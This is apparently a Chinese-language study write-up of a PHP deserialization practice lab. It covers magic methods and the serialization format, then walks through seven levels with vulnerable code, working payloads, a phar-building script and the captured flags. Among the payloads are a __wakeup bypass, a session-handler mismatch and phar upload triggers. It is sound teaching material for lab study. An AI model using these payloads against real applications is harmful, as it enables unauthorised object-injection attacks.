知识点
必须知道的魔术方法:
__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
-
__construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。 -
__ wakeup() :unserialize()时会自动调用 -
__destruct():当对象被销毁时会自动调用。 -
__ toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用 -
__get() :当从不可访问的属性读取数据 -
__call(): 在对象上下文中调用不可访问的方法时触发
__toString 触发的条件比较多,单独列出来:
(1)echo ($obj) / print($obj) 打印时会触发
(2)反序列化对象与字符串连接时
(3)反序列化对象参与格式化字符串时
(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
(5)反序列化对象参与格式化SQL语句,绑定参数时
(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
(8)反序列化的对象作为 class_exists() 的参数的时候
写一下序列化/反序列化的代码规范:
<?php
class just4fun{
var $secret;
var $enter;
}
$o1=new just4fun();
$o1->secret='aaa';
$o1_ser=serialize($o1);
print_r($o1_ser);
echo("\n");
print_r(unserialize($o1_ser));
echo("\n");
echo("\n");
$o2=new just4fun();
$o2->enter=&$o2->secret;
$o2_ser=serialize($o2);
print_r($o2_ser);
echo("\n");
print_r(unserialize($o2_ser));
echo("\n");
?>
序列化格式中的字母含义:
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
回调函数的概念:
通俗的来说,回调函数是一个我们定义的函数,但是不是我们直接来调用,而是通过另一个函数来调用,这个函数通过接收回调函数的名字和参数来实现对它的调用。
反序列化靶场
第一关(__wakeup)
<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
$this->file='index.php';
}
}
if (!isset($_GET['tryhackme'])){
show_source(__FILE__);
}
else{
$a=$_GET['tryhackme'];
unserialize($a);
}
?><!--key in flag1.php-->
代码审计:后台接收一个tryhackme 参数,进行反序列化。__wakeup()会在反序列化(unserialize)的时候进行调用,将file 属性赋值为index.php 。这个并不是我们想要的,我们需要的在flag1.php 里面。所以需要绕过__wakeup 魔术方法。__wakeup()函数失效引发漏洞(CVE-2016-7124):漏洞影响版本PHP5 < 5.6.25
or PHP7 < 7.0.10
漏洞原理:__wakeup 触发于unserilize() 调用之前,但是如果被反序列话的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得__wakeup 失效。
因此可以构造payload:
//其序列化原本属性为1,绕过__wwakeup将其改为了3
un1.php?tryhackme=O:5:"SoFun":3:{s:7:"%00*%00file";s:9:"flag1.php";}
另外提一下访问控制:
- **public(公有):**公有的类成员可以在任何地方被访问。
- **protected(受保护):**受保护的类成员则可以被其自身以及其子类和父类访问。
- **private(私有):**私有的类成员则只能被其定义所在的类访问。
访问控制在序列化的时候有自己单独的格式(不可见字符)。private 是在类名首尾加%00,protected 则是在* 两端加%00。
绕过之后即可获得flag:flag{1t'5_3@5y_t0_6yp@55_w@k34p}
第二关(Plus)
<?php
include "flag2.php";
class funny{
function __wakeup(){
global $flag;
echo $flag;
}
}
if (isset($_GET['tryhackme'])){
$a = $_GET['tryhackme'];
if(preg_match('/[oc]:\d+:/i', $a)){
die("NONONO!");
} else {
unserialize($a);
}
} else {
show_source(__FILE__);
}
?>
这一关只要触发__wakeup 魔术方法就可以拿到flag。只有一个正则函数preg_match(),只需要在对象长度前添加一个+ 号,即o:14->o:+14 ,这样就可以绕过正则匹配。
不过这里我有个疑问,我直接传递payload:
?tryhackme=O:+5:"funny":0:{}
并没有获取到flag,而是在进行了一次urlencode之后才拿到了flag,这里面又没有private 和protected ,不解~~~。
flag:flag{p145_15_900d!}
第三关(Bypass)
<?php
include "flag3.php";
class funny{
private $password;
public $verify;
function __wakeup(){
global $nobodyknow;
global $flag;
$this->password = $nobodyknow;
if ($this->password === $this->verify){
echo $flag;
} else {
echo "浣犱笉澶鍟�??!";
}
}
}
if (isset($_GET['tryhackme'])){
$a = $_GET['tryhackme'];
unserialize($a);
} else {
show_source(__FILE__);
}
?>
这一关的核心就是需要:
$this->password === $this->verify
这个写法在最开始的代码规范里面就有写到,所以这里我就直接放我的代码了:
<?php
class funny{
private $password;
public $verify;
function __construct(){
$this->verify = &$this->password;
}
}
$d = new funny();
$data = serialize($d);
echo $data;
echo urlencode($data);
?>
最后拿到flag:flag{7r1p13_3q4@1s_is_9reat!}
第四关(Session)
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
if (isset($_GET['tryhackme'])){
$_SESSION['tryhackme'] = $_GET['tryhackme'];
} else {
show_source(__FILE__);
}
?>
看到了session,直接想到了引擎不同导致的漏洞(使用不当产生)。先补充内容知识点:
php.ini中一些Session配置:
session.save_path="" --设置session的存储路径
session.save_handler=""--设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen--指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string--定义用来序列化/反序列化的处理器名字。默认使用php
处理器:
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
//这个便是在相应的处理器处理下,session所存储的格式。
然后话说回来,题目中告诉我们goto un42.php,访问查看
<?php
include "flag4.php";
ini_set('session.serialize_handler','php');
session_start();
class funny{
public $a;
function __destruct(){
global $flag;
echo $flag;
}
}
show_source(__FILE__);
?>
果然获取flag的页面使用的是php而赋值页面则是php_serialize。代码审计知道,只要触发funny就可以拿到flag了。
构造payload:
|O:5:"funny":1:{s:1:"a";N;}
在赋值页面传入即可在获取flag的页面拿到flag了
flag:flag{53ssi0n_4ns3r@lize_is_very_e@sy}
第五关(Unserialize)
<?php
include "flag5.php";
class funny{
private $a;
function __construct() {
$this->a = "givemeflag";
}
function __destruct() {
global $flag;
if ($this->a === "givemeflag") {
echo $flag;
}
}
}
if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){
$a = $_GET['tryhackme'];
for($i=0;$i<strlen($a);$i++)
{
if (ord($a[$i]) < 32 || ord($a[$i]) > 126) {
die("浣犲埌搴曡涓嶈鍟�");
}
}
unserialize($a);
} else {
show_source(__FILE__);
}
?>
代码审计知道,只要反序列化后$a =givemeflag 就可以拿到flag。不过这一关有一个:
for($i=0;$i<strlen($a);$i++)
{
if (ord($a[$i]) < 32 || ord($a[$i]) > 126) {
die("浣犲埌搴曡涓嶈鍟�");
}
}
类funny里的$a 的访问控制是private 显然%00 在这里就会被过滤掉。但是在反序列化的数据类型里默认字符串使用的标识是小s ,这里可以使用大S 进行绕过。
**补充:**大写的S 是可以支持十六进制编码(xx),并在反序列化的时候解析十六进制 所以构造payload:
?tryhackme=O:5:"funny":1:{S:8:"\00funny\00a";s:10:"givemeflag";}
获得flag :flag{7h3_61n@ry_5tr1n9_5_i5_int3r3sting}
第六关(Array)
<?php
include "flag6.php";
ini_set('display_errors',true);
error_reporting(E_ALL | E_STRICT);
class funny{
public function pyflag(){
global $flag;
echo $flag;
}
}
if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){
$a = unserialize($_GET['tryhackme']);
$a();
} else {
show_source(__FILE__);
}
?>
**考点:**php动态执行/调用函数/成员函数的能力,即使用变量名后加括号的方式来对函数进行调用。
举例1:
1. 定义一个函数
2. 将函数名(字符串)赋值给一个变量
3. 使用变量名代替函数名动态调用函数
例:
<?php
function addition ($a, $b){
echo ($a + $b), "\n";
}
$result = "addition";
$result (1,2);
?>
举例2:动态调用函数:
<?php
function test1(){echo"a";}
function test2($x){echo $x;}
function test3($x,$y){echo $x.$y;}
call_user_func("test1");
call_user_func("test2","b");
call_user_func("test3","c","d");
?>
举例3:动态调用成员函数:
<?php
class A{
function test1(){echo"a";}
function test2($x){echo $x;}
function test3($x,$y){echo $x.$y;}
}
$obj=new A;
call_user_func(array($obj,"test1"));
call_user_func(array($obj,"test2"),"b");
call_user_func(array($obj,"test3"),"c","d");
?>
构造payload:
<?php
class funny{
public function pyflag(){
global $flag;
echo $flag;
}
}
$d = new funny();
$data=array($d,"pyflag");
$a = serialize($data);
echo $a;
?>
?tryhackme=a:2:{i:0;O:5:"funny":0:{}i:1;s:6:"pyflag";}
获得flag:flag{Arr@y_c@11_1n5t@nc3_m3th0d}
第七关(Phar)
<?php
include "flag7.php";
class funny{
function __destruct() {
global $flag;
echo $flag;
}
}
show_source(__FILE__);
if (isset($_GET['action'])) {
$a = $_GET['action'];
if ($a === "check") {
$b = $_GET['file'];
if (file_exists($b) && !empty($b)) {
echo "$b is exist!";
}
} else if ($a === "upload") {
if (!is_dir("./upload")){
mkdir("./upload");
}
$filename = "./upload/".rand(1, 10000).".txt";
if (isset($_GET['data'])){
file_put_contents($filename, base64_decode($_GET['data']));
echo "Your file path:$filename";
}
}
}
?>
这是一个phar伪协议触发的php反序列化。
审计代码:file_exists()函数参数可控,存在upload可以上传文件。满足phar伪协议触发php反序列化的利用条件。
构造:
<?php
class funny{
}
$phar = new Phar("7.phar");
$phar->startBuffering();
$phar->setStub("anyhead"."<?php __HALT_COMPILER(); ?>");
$o = new funny();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
$data = file_get_contents('./7.phar');
echo base64_encode($data);
?>
这里有个疑问,我查阅了好多的博客,基本都没有说明为什么。
$phar->setStub("anyhead"."<?php __HALT_COMPILER(); ?>");
这里的setStub 里面我看常规的基本上分为三类:不带头、用gif头和这个anyhead 。但是却没有说明为什么要用这个anyhead ,我尝试不带头或者带gif文件的头这个题都做不出来。(虽然它的名字很好理解,但是我看到的师傅的博客描述都是说只需要保证结尾为__HALT_COMPILER(); 即可)
回到题目,得到:
YW55aGVhZDw/cGhwIF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KRgAAAAEAAAARAAAAAQAAAAAAEAAAAE86NToiZnVubnkiOjA6e30IAAAAdGVzdC50eHQEAAAALkwdYQQAAAAMfn/YtgEAAAAAAAB0ZXN00/o0rYD23J7lQlO6nsUa49DN2QcCAAAAR0JNQg==
先上传数据:
?action=upload&data=YW55aGVhZDw/cGhwIF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KRgAAAAEAAAARAAAAAQAAAAAAEAAAAE86NToiZnVubnkiOjA6e30IAAAAdGVzdC50eHQEAAAALkwdYQQAAAAMfn/YtgEAAAAAAAB0ZXN00/o0rYD23J7lQlO6nsUa49DN2QcCAAAAR0JNQg==
然后得到路径:./upload/7329.txt
利用phar伪协议访问:
?action=check&file=phar://./upload/7329.txt
得到flag:flag{pH4r_lS_4Unny!!}
参考学习链接
- https://www.cnblogs.com/bmjoker/p/13742666.html
- https://www.cnblogs.com/fish-pompom/p/11126473.html
- https://www.k0rz3n.com/2018/11/19/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
|